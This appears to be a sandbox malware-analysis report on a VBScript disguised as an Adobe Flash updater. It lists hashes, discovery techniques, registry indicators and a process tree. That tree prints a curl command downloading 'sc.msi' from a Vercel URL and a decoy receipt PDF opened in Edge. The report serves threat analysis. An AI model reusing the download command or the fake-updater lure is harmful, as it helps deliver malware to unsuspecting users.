82a7410b7c56f5389831c89334517acd2dc409bade29f286507721455abeb5d3

Analysis

max time kernel
123s
max time network
157s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 06:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adobe-flash-updater.vbs
Size 2KB
Sample260717-gynadaf18x
SHA256 82a7410b7c56f5389831c89334517acd2dc409bade29f286507721455abeb5d3
MD5 ab707764ad3fc2611ed1cf8e9ce85d9d
SHA1 fce8943cf82bc5a6e1fa4590fb940061cf2baca9
SHA512 683031dddd8af93e41f5da6b694d6da9759d02c806391628fa797f31503343e861ce0fa29d90205368bc24dcd535323a57dfe015fd8dd24b4cf8c8846c67f89f
TLSH
T142514127FD1AD9F24A374823C873CC0AEAD51256143194A0BE4C85687F32AAEC7F44DD
MD5 SHA1 SHA512 TLSH

Score

4^/10

discovery

Malware Config

Signatures

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4772_1011242982\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4772_1011242982\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4772_1947927604\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4772_193527319\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4772_193527319\protocols.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2788	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134287423911666920"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2115213192-531537726-3295841909-1000\{599961F8-459D-4FD9-96E7-71ACAD633505}	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3740	msedge.exe
3740	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4772	msedge.exe
4772	msedge.exe
4772	msedge.exe
4772	msedge.exe
4772	msedge.exe
4772	msedge.exe
4772	msedge.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4772	msedge.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 5072 wrote to memory of 1504	5072	WScript.exe	89
PID 1504 wrote to memory of 4772	1504	wscript.exe	90
PID 4772 wrote to memory of 4216	4772	msedge.exe	91
PID 4772 wrote to memory of 2788	4772	msedge.exe	93
PID 4772 wrote to memory of 1472	4772	msedge.exe	94
PID 4772 wrote to memory of 1472	4772	msedge.exe	94
PID 4772 wrote to memory of 1472	4772	msedge.exe	94
PID 4772 wrote to memory of 1256	4772	msedge.exe	95
PID 4772 wrote to memory of 1256	4772	msedge.exe	95
PID 4772 wrote to memory of 5712	4772	msedge.exe	113
PID 4772 wrote to memory of 4512	4772	msedge.exe	97
PID 4772 wrote to memory of 5712	4772	msedge.exe	113
PID 4772 wrote to memory of 5712	4772	msedge.exe	113
PID 4772 wrote to memory of 4512	4772	msedge.exe	97
PID 4772 wrote to memory of 4512	4772	msedge.exe	97
PID 4772 wrote to memory of 6116	4772	msedge.exe	98
PID 4772 wrote to memory of 5328	4772	msedge.exe	99
PID 4772 wrote to memory of 6116	4772	msedge.exe	98
PID 4772 wrote to memory of 6116	4772	msedge.exe	98
PID 4772 wrote to memory of 5328	4772	msedge.exe	99
PID 4772 wrote to memory of 5328	4772	msedge.exe	99
PID 4772 wrote to memory of 3448	4772	msedge.exe	100
PID 4772 wrote to memory of 3448	4772	msedge.exe	100
PID 4772 wrote to memory of 3448	4772	msedge.exe	100
PID 4772 wrote to memory of 3112	4772	msedge.exe	101
PID 4772 wrote to memory of 3112	4772	msedge.exe	101
PID 1504 wrote to memory of 4424	1504	wscript.exe	102
PID 4772 wrote to memory of 708	4772	msedge.exe	103
PID 4772 wrote to memory of 708	4772	msedge.exe	103
PID 4772 wrote to memory of 708	4772	msedge.exe	103
PID 4772 wrote to memory of 1292	4772	msedge.exe	106
PID 4772 wrote to memory of 1132	4772	msedge.exe	107
PID 4772 wrote to memory of 1292	4772	msedge.exe	106
PID 4772 wrote to memory of 1132	4772	msedge.exe	107
PID 4772 wrote to memory of 4464	4772	msedge.exe	109
PID 4772 wrote to memory of 4688	4772	msedge.exe	110
PID 4772 wrote to memory of 4688	4772	msedge.exe	110
PID 4772 wrote to memory of 5712	4772	msedge.exe	113
PID 4772 wrote to memory of 5712	4772	msedge.exe	113
PID 4772 wrote to memory of 5060	4772	msedge.exe	115
PID 4772 wrote to memory of 5020	4772	msedge.exe	116
PID 4772 wrote to memory of 5352	4772	msedge.exe	117
PID 4772 wrote to memory of 4232	4772	msedge.exe	118
PID 4772 wrote to memory of 4232	4772	msedge.exe	118
PID 4772 wrote to memory of 2824	4772	msedge.exe	122
PID 4772 wrote to memory of 2824	4772	msedge.exe	122
PID 4772 wrote to memory of 4896	4772	msedge.exe	123
PID 4772 wrote to memory of 4896	4772	msedge.exe	123
PID 4772 wrote to memory of 1320	4772	msedge.exe	124
PID 4772 wrote to memory of 1320	4772	msedge.exe	124
PID 4772 wrote to memory of 4572	4772	msedge.exe	125
PID 4772 wrote to memory of 4572	4772	msedge.exe	125
PID 4772 wrote to memory of 3740	4772	msedge.exe	126

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adobe-flash-updater.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:5072
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\adobe-flash-updater.vbs" /elevated
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://payment-six-eta.vercel.app/doc/payment_receipt.pdf
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffffebac188,0x7ffffebac194,0x7ffffebac1a0
      4⤵
      PID:4216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2108,i,16176193293776041483,11516687661245815296,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=2848 /prefetch:11
      4⤵
      System Time Discovery
      PID:2788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1872,i,16874869062117856726,16581120934516119646,262144 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=2700 /prefetch:2
      4⤵
      PID:1472
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2484,i,9395976425846192655,2838639088735631962,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=2952 /prefetch:13
      4⤵
      PID:1256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3612,i,16803275595652421262,366025871698212175,2097152 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
      4⤵
      PID:5712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3624,i,1025401365432872469,6429024738666876329,2097152 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:1
      4⤵
      PID:4512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4324,i,4804994078998020295,6556017365544066664,2097152 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:1
      4⤵
      PID:6116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4340,i,13728522782297481303,13442455637088286945,2097152 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:9
      4⤵
      PID:5328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5308,i,2165176396036245733,5109992186264789281,2097152 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:9
      4⤵
      PID:3448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5484,i,3819626447815773938,4279242691629106464,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:14
      4⤵
      PID:3112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5696,i,6103326670163259223,432814938660032323,2097152 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:15
      4⤵
      PID:708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5876,i,1753778667220294363,16808987572621422787,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:14
      4⤵
      PID:1292
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5880,i,13318984379425756925,15060997262804526867,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=5952 /prefetch:14
      4⤵
      PID:1132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6564,i,8602666143043439314,7936582067965318320,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14
      4⤵
      PID:1936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6564,i,8602666143043439314,7936582067965318320,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14
      4⤵
      PID:4464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5008,i,3361753039950913968,4832730639293379402,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:14
      4⤵
      PID:4688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6780,i,7927183430608989404,1539744738315694817,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=6980 /prefetch:14
      4⤵
      PID:5712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4688,i,3815900680945965471,4815812489036940399,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=1280 /prefetch:14
      4⤵
      PID:5060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4488,i,3693952194105651961,13632684894196140070,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:14
      4⤵
      PID:5020
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4984,i,15357833089211239730,18170255242877208037,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=3820 /prefetch:14
      4⤵
      PID:5352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3784,i,5508499919204478410,117521154522638689,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=1476 /prefetch:14
      4⤵
      PID:4232
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6644,i,15999844582014735141,8279962631243792081,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=6180 /prefetch:14
      4⤵
      PID:2824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6076,i,12027150835486931618,5273047964322332997,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:14
      4⤵
      PID:4896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=928,i,5775729716285748463,14216189669127641870,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=932 /prefetch:14
      4⤵
      PID:1320
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6004,i,15159013531543729477,18392190355858296845,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=6264 /prefetch:14
      4⤵
      PID:4572
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6276,i,13398574956710560701,18064524043287968453,262144 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6752,i,6410423515084193955,17764139514269997548,524288 --field-trial-handle=2704,i,3604781391009078975,17798104308296152366,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:14
      4⤵
      PID:1288
- - C:\Windows\System32\curl.exe
    "C:\Windows\System32\curl.exe" --fail -s -L -o "C:\Users\Admin\AppData\Local\Temp\sc.msi" "https://payment-six-eta.vercel.app/doc/sc.msi"
    3⤵
    PID:4424

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1320

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c80f71026fa07cc9b3e69c8779d4b4b40710cf7bc2893b740943db0d0f79591a
MD5 590eca05f11ec72644a09f205b548fbc
SHA1 c6521700bee3b500259ee3a70292b90201f20597
SHA512 fddd457c35c61ceb727f99bd39f55314cdeb7d062798c573a377675121f972ed95109fec329f911c502139a1794b70e5a98a57dd3b21b5a70e6518890a361f66
TLSH
T1E7D02B7A37C40404C0D0747221F24602D530C520AC4C81088801702CCC207C3010B8EF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ee00825bbd5a4f21308ad2e10e5a9d3c4512f07fbd288ec8ac76788de6019e25
MD5 c3584e6bc22b3ad2f168ede48d20a993
SHA1 ffb4ecef8f65638ca17e16a32806195193977c7e
SHA512 5fd777359305e67e9f30fc404af9013a876846b1d6db271fa73dfcf2ee22fb25a8e26d4d0c970cc3a8219df11038dc6b4c2c411db652593bda1c3d7643753c0b
TLSH
T18AD02B7637C40404C0D0747621F34602D530C520584C81088801B03CCC207C3010A8DB
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 103fce763223c4c5314139d5ef8fcf3a0679998ae072a9f039d32d28bf0c5d9e
MD5 f5a78b6f0ef744aff2499fdf07229d8d
SHA1 a5828ae5d5deb58545a65f06d6e77d4c02606b67
SHA512 ab72ffccb9e1afa18fa32581f7036344ae5cc930052c9ed6788913b1dfbc6547e85830e5f08e2e4f6c9934bcb40cd96e77393618e30547e777c76f4f7a95cb80
TLSH
T16DE07D8618C8D32EB648B8C742F8638DC2803ACAD3C86A1A17C0A58C708758CFBD7690
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 9021d84366c8bc8f5309341555c9d3254359256b78a75422d8d6c35467d4d32e
MD5 3137672c15ab5c84632fe6143300f16f
SHA1 47fbed4dc851a2c1887e1c27740f83b2f4102e14
SHA512 4564d84347934f015cfc61fd8a75040f8d56767f0ed1f57a30a0487cf1b5eeef48f547615ebc85488c88af3068f9b2a8f3e84e5554e09df997fddf65a506308c
TLSH
T12D510B1303AA05E3CF6249F2B6F1F54833F498ABD2CF9E119452CE749986F86A4C005B
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59cb84.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59cb84.TMP
Size 2KB
SHA256 42c4ef7c24d0a0179afba824dc53e2bea8302f23e98137c60926ec74e7f07743
MD5 ad6783d10280894d372a9be07fad0693
SHA1 cb91ed4c1b3e22a52b5712fc2587eee94cedadac
SHA512 cfebaf89e3a7669641c3f900bef0f57d4417bd5694964e0e05694f78eaccc0d6a13b0f0f7b10422f22a35b42adf7191c06589f192b265b07aefbe084a5752752
TLSH
T1AF51CA13036945E3CBA249F3B7F5F54833F5A89BD2CF9E109446DE759A86F06A0C016B
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 148a5d7001858dd5453efeb5bad47c9f865f21eea218f42d0cf1f8814c935f35
MD5 cc7b94510dbde4753ac47c5697a32885
SHA1 776c6aae2c4163b526c0c44220976b335b34897d
SHA512 d3541dc971eb6a68497896f2056c402beb6e77834b8d4ca9b0c135615a7ef175109939e262da881c2030fed0d1e6de457579ca13c92b44915218b3132362274d
TLSH
T12C51AEF7C7E8862ED90156F0AA147E2BCE1D0915432C3D5AC9E4AE1B93E2471E14194F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
